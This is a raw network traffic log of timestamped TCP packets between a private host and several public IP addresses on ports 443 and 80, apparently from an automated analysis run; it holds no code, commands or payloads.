Oct 10, 2024 10:13:59.256333113 CEST	443	64741	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.257884979 CEST	443	64742	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.258511066 CEST	64742	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.258511066 CEST	64741	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.258537054 CEST	443	64742	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.258554935 CEST	443	64741	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.259270906 CEST	64742	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.259270906 CEST	64741	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.259275913 CEST	443	64742	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.259288073 CEST	443	64741	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.264163971 CEST	443	64743	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.266381979 CEST	443	64744	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.266930103 CEST	64743	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.266938925 CEST	64744	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.266968012 CEST	443	64744	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.266993999 CEST	443	64743	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.267491102 CEST	64743	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.267507076 CEST	443	64743	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.267537117 CEST	64744	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.267544985 CEST	443	64744	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.269172907 CEST	443	64745	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.270864010 CEST	64745	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.270930052 CEST	443	64745	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.271444082 CEST	64745	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.271481037 CEST	443	64745	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.364818096 CEST	443	64741	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.364917040 CEST	443	64741	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.365087032 CEST	64741	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.365490913 CEST	64741	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.365514994 CEST	443	64741	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.365566969 CEST	64741	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.365571976 CEST	443	64741	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.369407892 CEST	64747	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.369456053 CEST	443	64747	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.369556904 CEST	64747	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.369800091 CEST	64747	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.369817019 CEST	443	64747	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.381318092 CEST	443	64742	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.381474972 CEST	443	64742	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.381592035 CEST	64742	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.381673098 CEST	64742	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.381680012 CEST	443	64742	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.381696939 CEST	64742	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.381700993 CEST	443	64742	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.383294106 CEST	443	64744	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.383553028 CEST	443	64744	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.383640051 CEST	64744	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.383843899 CEST	64744	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.383872032 CEST	443	64744	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.383881092 CEST	64744	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.383887053 CEST	443	64744	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.384059906 CEST	443	64743	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.384124994 CEST	443	64743	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.384202957 CEST	64743	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.384380102 CEST	64743	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.384430885 CEST	443	64743	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.384464025 CEST	64743	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.384488106 CEST	443	64743	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.384666920 CEST	64748	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.384692907 CEST	443	64748	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.385854959 CEST	64748	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.386169910 CEST	64748	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.386184931 CEST	443	64748	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.387372017 CEST	64749	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.387494087 CEST	443	64749	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.387542963 CEST	64750	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.387567043 CEST	443	64750	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.387660027 CEST	64749	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.387762070 CEST	64750	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.387762070 CEST	64749	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.387797117 CEST	443	64749	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.387885094 CEST	64750	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.387887955 CEST	443	64745	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.387904882 CEST	443	64750	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.388009071 CEST	443	64745	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.388117075 CEST	64745	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.388195992 CEST	64745	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.388195992 CEST	64745	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.388243914 CEST	443	64745	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.388273001 CEST	443	64745	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.390474081 CEST	64751	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.390491009 CEST	443	64751	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.390580893 CEST	64751	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.390744925 CEST	64751	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:59.390757084 CEST	443	64751	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:59.868149042 CEST	443	64746	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:59.868357897 CEST	64746	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:59.868793964 CEST	64746	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:59.868804932 CEST	443	64746	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:59.869071007 CEST	64746	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:59.869076967 CEST	443	64746	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:00.040642977 CEST	443	64748	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.041394949 CEST	64748	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.041436911 CEST	443	64748	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.041958094 CEST	64748	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.041965008 CEST	443	64748	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.050221920 CEST	443	64751	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.050833941 CEST	64751	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.050858021 CEST	443	64751	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.051223993 CEST	64751	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.051230907 CEST	443	64751	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.051260948 CEST	443	64750	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.051531076 CEST	64750	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.051556110 CEST	443	64750	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.051808119 CEST	64750	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.051814079 CEST	443	64750	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.052397013 CEST	443	64747	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.052675962 CEST	64747	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.052715063 CEST	443	64747	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.052963018 CEST	64747	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.052970886 CEST	443	64747	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.076244116 CEST	443	64749	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.076901913 CEST	64749	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.076970100 CEST	443	64749	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.077321053 CEST	64749	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.077337980 CEST	443	64749	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.147308111 CEST	443	64748	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.147416115 CEST	443	64748	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.147484064 CEST	64748	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.147711992 CEST	64748	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.147748947 CEST	443	64748	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.147763014 CEST	64748	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.147770882 CEST	443	64748	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.152009964 CEST	64752	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.152055979 CEST	443	64752	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.152157068 CEST	64752	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.152373075 CEST	64752	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.152394056 CEST	443	64752	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.160435915 CEST	443	64750	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.160600901 CEST	443	64750	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.160656929 CEST	64750	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.160722971 CEST	64750	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.160737991 CEST	443	64750	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.160752058 CEST	64750	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.160757065 CEST	443	64750	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.161515951 CEST	443	64751	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.161650896 CEST	443	64751	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.161706924 CEST	64751	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.161803961 CEST	64751	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.161823034 CEST	443	64751	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.161825895 CEST	64751	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.161834002 CEST	443	64751	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.164361954 CEST	64753	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.164455891 CEST	443	64753	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.164570093 CEST	64753	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.164689064 CEST	64753	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.164724112 CEST	443	64753	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.164808035 CEST	443	64746	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:00.164876938 CEST	64746	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:00.164886951 CEST	443	64746	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:00.164936066 CEST	64754	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.164963961 CEST	443	64746	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:00.164968014 CEST	443	64754	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.165000916 CEST	64746	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:00.165018082 CEST	64746	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:00.165052891 CEST	64754	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.165062904 CEST	64746	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:00.165067911 CEST	443	64746	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:00.165092945 CEST	64746	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:00.165117025 CEST	64746	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:00.165571928 CEST	64754	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.165597916 CEST	443	64754	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.167546988 CEST	443	64747	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.167804956 CEST	443	64747	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.167866945 CEST	64747	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.167970896 CEST	64747	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.167994976 CEST	443	64747	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.168013096 CEST	64747	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.168020964 CEST	443	64747	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.172959089 CEST	64755	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.172990084 CEST	443	64755	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.173055887 CEST	64755	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.173448086 CEST	64755	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.173465014 CEST	443	64755	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.188209057 CEST	443	64749	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.188381910 CEST	443	64749	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.188426971 CEST	443	64749	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.188446999 CEST	64749	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.188489914 CEST	64749	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.203516960 CEST	64749	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.203533888 CEST	443	64749	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.203568935 CEST	64749	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.203583002 CEST	443	64749	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.212522984 CEST	64756	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.212631941 CEST	443	64756	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.212726116 CEST	64756	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.212927103 CEST	64756	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.212965965 CEST	443	64756	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.552844048 CEST	64757	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:00.557971954 CEST	80	64757	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:00.558105946 CEST	64757	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:00.558329105 CEST	64757	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:00.563107014 CEST	80	64757	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:00.821840048 CEST	443	64753	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.822662115 CEST	64753	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.822732925 CEST	443	64753	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.823565006 CEST	64753	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.823580027 CEST	443	64753	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.829792976 CEST	443	64752	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.830538034 CEST	64752	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.830574989 CEST	443	64752	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.830996037 CEST	64752	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.831001043 CEST	443	64752	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.842775106 CEST	443	64754	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.843226910 CEST	64754	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.843250990 CEST	443	64754	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.843846083 CEST	64754	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.843866110 CEST	443	64754	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.845460892 CEST	443	64755	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.845833063 CEST	64755	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.845851898 CEST	443	64755	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.846251965 CEST	64755	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.846256018 CEST	443	64755	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.898145914 CEST	443	64756	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.902101994 CEST	64756	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.902134895 CEST	443	64756	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.902837038 CEST	64756	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.902844906 CEST	443	64756	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.928898096 CEST	443	64753	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.928941965 CEST	443	64753	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.929008961 CEST	443	64753	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.929023027 CEST	64753	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.929092884 CEST	64753	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.929419041 CEST	64753	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.929419994 CEST	64753	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.929496050 CEST	443	64753	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.929538012 CEST	443	64753	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.932221889 CEST	64758	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.932264090 CEST	443	64758	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.932332039 CEST	64758	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.932543039 CEST	64758	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.932554960 CEST	443	64758	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.943327904 CEST	443	64752	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.943576097 CEST	443	64752	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.943634987 CEST	64752	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.943662882 CEST	64752	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.943682909 CEST	443	64752	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.943692923 CEST	64752	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.943698883 CEST	443	64752	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.945777893 CEST	64759	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.945839882 CEST	443	64759	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.945904970 CEST	64759	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.946018934 CEST	64759	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.946037054 CEST	443	64759	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.949621916 CEST	443	64754	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.949779987 CEST	443	64754	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.949860096 CEST	64754	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.949913979 CEST	443	64754	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.949938059 CEST	443	64754	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.949986935 CEST	64754	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.950042963 CEST	64754	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.950042963 CEST	64754	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.950087070 CEST	443	64754	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.950114965 CEST	443	64754	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.952013016 CEST	64760	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.952054024 CEST	443	64760	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.952128887 CEST	64760	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.952258110 CEST	64760	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.952272892 CEST	443	64760	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.957582951 CEST	443	64755	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.957631111 CEST	443	64755	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.957675934 CEST	64755	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.957684040 CEST	443	64755	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.957712889 CEST	443	64755	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.957748890 CEST	64755	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.957828999 CEST	64755	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.957837105 CEST	443	64755	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.957844973 CEST	64755	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.957848072 CEST	443	64755	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.959741116 CEST	64761	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.959779024 CEST	443	64761	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:00.959841967 CEST	64761	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.959996939 CEST	64761	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:00.960009098 CEST	443	64761	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.015608072 CEST	443	64756	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.015835047 CEST	443	64756	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.015928984 CEST	64756	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.015975952 CEST	64756	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.015975952 CEST	64756	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.015996933 CEST	443	64756	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.016011953 CEST	443	64756	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.018738031 CEST	64762	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.018784046 CEST	443	64762	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.018871069 CEST	64762	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.019073963 CEST	64762	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.019093037 CEST	443	64762	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.291644096 CEST	80	64757	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:01.291667938 CEST	80	64757	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:01.291743040 CEST	64757	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:01.291743040 CEST	64757	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:01.292165041 CEST	64757	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:01.292181969 CEST	64757	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:01.609644890 CEST	64763	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:01.614526987 CEST	80	64763	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:01.614633083 CEST	64763	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:01.614864111 CEST	64763	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:01.619595051 CEST	80	64763	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:01.629744053 CEST	443	64761	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.630286932 CEST	64761	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.630304098 CEST	443	64761	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.630779982 CEST	64761	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.630788088 CEST	443	64761	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.631099939 CEST	443	64759	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.631428003 CEST	64759	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.631460905 CEST	443	64759	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.631838083 CEST	64759	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.631844997 CEST	443	64759	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.651141882 CEST	443	64758	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.651650906 CEST	64758	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.651675940 CEST	443	64758	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.652103901 CEST	64758	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.652112007 CEST	443	64758	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.652235031 CEST	443	64760	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.652754068 CEST	64760	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.652816057 CEST	443	64760	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.653135061 CEST	64760	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.653151989 CEST	443	64760	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.705276012 CEST	443	64762	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.706368923 CEST	64762	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.706403017 CEST	443	64762	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.706795931 CEST	64762	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.706800938 CEST	443	64762	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.736485004 CEST	443	64761	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.736551046 CEST	443	64761	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.736601114 CEST	64761	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.736635923 CEST	443	64761	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.736675024 CEST	64761	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.736979008 CEST	64761	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.736979961 CEST	64761	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.737027884 CEST	443	64761	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.737040997 CEST	443	64761	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.740271091 CEST	443	64759	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.740358114 CEST	443	64759	13.107.253.45	192.168.2.4
